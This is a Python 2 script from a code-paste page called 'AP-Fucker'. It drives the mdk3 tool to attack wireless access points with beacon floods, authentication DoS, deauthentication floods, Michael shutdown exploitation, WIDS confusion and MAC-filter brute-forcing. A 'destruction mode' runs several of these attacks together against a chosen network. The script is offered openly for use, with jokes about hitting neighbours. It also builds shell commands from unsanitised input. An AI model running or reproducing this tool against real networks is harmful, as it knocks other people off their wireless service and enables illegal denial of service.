fork download
  1. #!/usr/bin/env python
  2. # -*- coding: Utf-8 -*-
  3. #
  4. # WIRELESS ACCESS POINT FUCKER
  5. # Interactive, Multifunction, Destruction Mode Included
  6. #
  7. # Thanks to BackTrack crew, especially ShamanVirtuel and ASPJ
  8. #
  9. # USAGE: Launch the script as root using "python AP-Fucker.py", follow instructions, enjoy!
  10. # Prerequisites: Have mdk3 installed
  11. #
  12.  
  13. __app__ = "AP-Fucker"
  14. __version__ = "0.5"
  15. __author__ = "MatToufoutu"
  16.  
  17. ### IMPORTS
  18. from sys import stdout
  19. from sys import exit as sysexit
  20. from os import system, remove, path
  21. from commands import getoutput
  22. from threading import Thread
  23. from time import sleep, ctime
  24.  
  25. ### MDK3 THREADED ATTACKS CLASS
  26. class Mdk3(Thread):
  27. def __init__(self, attack, attack_options):
  28. Thread.__init__(self)
  29. self.attack = attack
  30. self.iface = attack_options[0]
  31. self.essid = attack_options[1]
  32. self.bssid = attack_options[2]
  33. self.chan = attack_options[3]
  34. self.log = "apfucker.log"
  35. self.modes = {"B":self.bflood, "A":self.ados, "D":self.amok,
  36. "M":self.mich, "W":self.wids, "C":self.brutmac}
  37. def bflood(self):
  38. out = open(self.log,"a")
  39. out.write("\n ----- "+ctime()+" : Launching beacon flood against %s on channel %s -----" % (self.essid, self.chan))
  40. out.close()
  41. print("\n Launching beacon flood against %s on channel %s" % (self.essid, self.chan))
  42. sleep(2)
  43. system("mdk3 "+self.iface+" b -n "+self.essid+" -g -w -m -c "+self.chan+" >> "+self.log)
  44. def ados(self):
  45. out = open(self.log,"a")
  46. out.write("\n ----- "+ctime()+" : Launching Auth DoS against %s -----" % (self.bssid))
  47. out.close()
  48. print("\n Launching Auth DoS against %s " % (self.bssid))
  49. sleep(2)
  50. system("mdk3 "+self.iface+" a -i "+self.bssid+" -m -s 1024 >> "+self.log)
  51. def amok(self):
  52. out = open(self.log,"a")
  53. out.write("\n ----- "+ctime()+" : Launching Deauth Flood 'Amok' Mode on channel %s -----" % (self.chan))
  54. out.close()
  55. print("\n Launching Deauth Flood 'Amok' Mode on channel %s" % (self.chan))
  56. sleep(2)
  57. system("mdk3 "+self.iface+" d -c "+self.chan+" -s 1024 >> "+self.log)
  58. def mich(self):
  59. out = open(self.log,"a")
  60. out.write("\n ----- "+ctime()+" : Launching Michael 'Shutdown' Exploitation against %s on channel %s -----" % (self.bssid, self.chan))
  61. out.close()
  62. print("\n Launching Michael 'Shutdown' Exploitation against %s on channel %s" % (self.bssid, self.chan))
  63. sleep(2)
  64. system("mdk3 "+self.iface+" m -t "+self.bssid+" -j -w 1 -n 1024 -s 1024 >> "+self.log)
  65. def wids(self):
  66. out = open(self.log,"a")
  67. out.write("\n ----- "+ctime()+" : Launching WIDS Confusion against %s on channel %s -----" % (self.essid, self.chan))
  68. out.close()
  69. print("\n Launching WIDS Confusion against %s on channel %s" % (self.essid, self.chan))
  70. sleep(2)
  71. system("mdk3 "+self.iface+" w -e "+self.essid+" -c "+self.chan+" >> "+self.log)
  72. def brutmac(self):
  73. global runanim
  74. runanim = True
  75. out = open(self.log, "a")
  76. out.write("\n ----- "+ctime()+" : Launching MAC filter Brute-Forcer against %s -----\n" % (self.bssid))
  77. print("\n Launching MAC filter Brute-Forcer against %s" % (self.bssid))
  78. sleep(2)
  79. macfound = getoutput("mdk3 "+self.iface+" f -t "+self.bssid).splitlines()[-2:]
  80. runanim = False
  81. sleep(1)
  82. print; print
  83. for line in macfound:
  84. print(line)
  85. out.write("\n"+line)
  86. out.close()
  87. print
  88. sysexit(0)
  89. def run(self):
  90. global runanim
  91. runanim = True
  92. self.modes[self.attack]()
  93. runanim = False
  94.  
  95. ### AUXILIARY FUNCTIONS
  96. ## CHECK IF IFACE IS IN MONITOR MODE
  97. def check_mon(iface):
  98. for line in getoutput("iwconfig "+iface).splitlines():
  99. if "Mode:Monitor" in line:
  100. return True
  101. return False
  102.  
  103. ## CHECK IF BSSID IS VALID
  104. def check_mac(ap):
  105. if len(ap) != 17 or ap.count(':') != 5:
  106. return False
  107. macchar = "0123456789abcdef:"
  108. for c in ap.lower():
  109. if macchar.find(c) == -1:
  110. return False
  111. return True
  112.  
  113. ## CHECK IF CHANNEL IS VALID
  114. def check_chan(iface, chan):
  115. if chan.isdigit():
  116. channel = int(chan)
  117. if not channel in range(1, int(getoutput("iwlist "+iface+" channel | grep channels | awk '{print $2}'"))+1):
  118. return False
  119. else:
  120. return False
  121. return True
  122.  
  123. ## CLEAN EXIT
  124. def clean_exit():
  125. print;print
  126. print("\nAction aborted by user. Exiting now")
  127. for pid in getoutput("ps aux | grep mdk3 | grep -v grep | awk '{print $2}'").splitlines():
  128. system("kill -9 "+pid)
  129. print("Hope you enjoyed it ;-)")
  130. sleep(2)
  131. system("clear")
  132. sysexit(0)
  133.  
  134. ## DUMMY WAITING MESSAGE (ANIMATED)
  135. def waiter(mess):
  136. try:
  137. stdout.write("\r | "+mess)
  138. stdout.flush()
  139. sleep(0.15)
  140. stdout.write("\r / "+mess)
  141. stdout.flush()
  142. sleep(0.15)
  143. stdout.write("\r-- "+mess)
  144. stdout.flush()
  145. sleep(0.15)
  146. stdout.write("\r \\ "+mess)
  147. stdout.flush()
  148. sleep(0.15)
  149. stdout.write("\r | "+mess)
  150. stdout.flush()
  151. sleep(0.15)
  152. stdout.write("\r / "+mess)
  153. stdout.flush()
  154. sleep(0.15)
  155. stdout.write("\r-- "+mess)
  156. stdout.flush()
  157. sleep(0.15)
  158. stdout.write("\r \\ "+mess)
  159. stdout.flush()
  160. sleep(0.15)
  161. except KeyboardInterrupt:
  162. clean_exit()
  163.  
  164. ### MAIN APP
  165. try:
  166. import psyco
  167. psyco.full()
  168. except ImportError:
  169. pass
  170.  
  171. attackAvail = ["B", "A", "W", "D", "M", "T", "E", "C"]
  172. attack_opt = []
  173.  
  174. if getoutput("whoami") != "root":
  175. print("This script must be run as root !")
  176. sysexit(0)
  177. try:
  178. system("clear")
  179. print("\n\t\t########## ACCESS POINT FUCKER ##########\n")
  180. print("""Choose your Mode:
  181. \t - (B)eacon flood
  182. \t - (A)uth DoS
  183. \t - (W)ids confusion
  184. \t - (D)isassociation 'AmoK Mode'
  185. \t - (M)ichael shutdown exploitation
  186. \t - MA(C) Filter Brute-Forcer
  187. \t - Des(T)ruction mode (USE WITH CAUTION)\n""")
  188.  
  189. ## GET MODE
  190. while 1:
  191. mode = raw_input("\n>>> ")
  192. if mode.upper() not in attackAvail:
  193. print(" '%s' is not a valid mode !" % mode)
  194. else:
  195. break
  196.  
  197. ## GET INTERFACE
  198. while 1:
  199. iface = raw_input("\nMonitor interface to use: ")
  200. if check_mon(iface):
  201. attack_opt.append(iface)
  202. break
  203. else:
  204. print("%s is not a Monitor interface, try again or hit Ctrl+C to quit" % iface)
  205.  
  206. ## GET ESSID
  207. if mode.upper() == "B" or mode.upper() == "W" or mode.upper() == "T":
  208. attack_opt.append("\""+raw_input("\nTarget ESSID: ")+"\"")
  209. else:
  210. attack_opt.append(None)
  211.  
  212. ## GET BSSID
  213. if mode.upper() == "A" or mode.upper() == "M" or mode.upper() == "T" or mode.upper() == "C":
  214. while 1:
  215. bssid = raw_input("\nTarget BSSID: ")
  216. if check_mac(bssid):
  217. attack_opt.append(bssid)
  218. break
  219. else:
  220. print("Invalid BSSID, try again or hit Ctrl+C to quit")
  221. else:
  222. attack_opt.append(None)
  223.  
  224. ## GET CHANNEL
  225. if mode.upper() != "C":
  226. while 1:
  227. channel = raw_input("\nTarget channel: ")
  228. if check_chan(iface, channel):
  229. attack_opt.append(channel)
  230. break
  231. else:
  232. print("Channel can only be 1 to 14, try again or hit Ctrl+C to quit")
  233. else:
  234. attack_opt.append(None)
  235.  
  236. ## LAUNCH SELECTED ATTACK
  237. if path.exists("apfucker.log"):
  238. remove("apfucker.log")
  239. if mode.upper() != "T":
  240. system('clear')
  241. Mdk3(mode.upper(), attack_opt).start()
  242. sleep(1)
  243. print; print; print
  244. while runanim:
  245. waiter(" ATTACK IS RUNNING !!! HIT CTRL+C TWICE TO STOP THE TASK...")
  246. else:
  247. system('clear')
  248. print("\n\t/!\\/!\\/!\\ WARNING /!\\/!\\/!\\\n")
  249. print(" You've choosen DESTRUCTION MODE")
  250. print(" Using this mode may harm your WiFi card, use it at your own risks.")
  251. validate = raw_input(" Do you wish to continue? (y/N): ")
  252. if validate.upper() != "Y":
  253. print(" Ok, exiting now")
  254. sysexit(0)
  255. else:
  256. out = open("apfucker.log","a")
  257. out.write("\n ----- "+ctime()+" : Launching Destruction Combo. Target is AP %s|%s on channel %s -----" % (attack_opt[1], attack_opt[2], attack_opt[3]))
  258. out.close()
  259. print("\n Launching Destruction Combo\n Target is AP %s|%s on channel %s" % (attack_opt[1], attack_opt[2], attack_opt[3]))
  260. print(" Please be kind with your neighbours xD")
  261. ##wids not implemented: may raise segfault
  262. ##appears to be an internal mdk3 issue when running multiple attacks
  263. for atk in ("B", "A", "D", "M"):
  264. Mdk3(atk, attack_opt).start()
  265. sleep(1)
  266. print; print; print
  267. while runanim:
  268. waiter(" DESTRUCTION COMBO IS RUNNING !!! HIT CTRL+C TWICE TO STOP THE TASK...")
  269. except KeyboardInterrupt:
  270. clean_exit()
Success #stdin #stdout 0.05s 65112KB
stdin
Standard input is empty
stdout
This script must be run as root !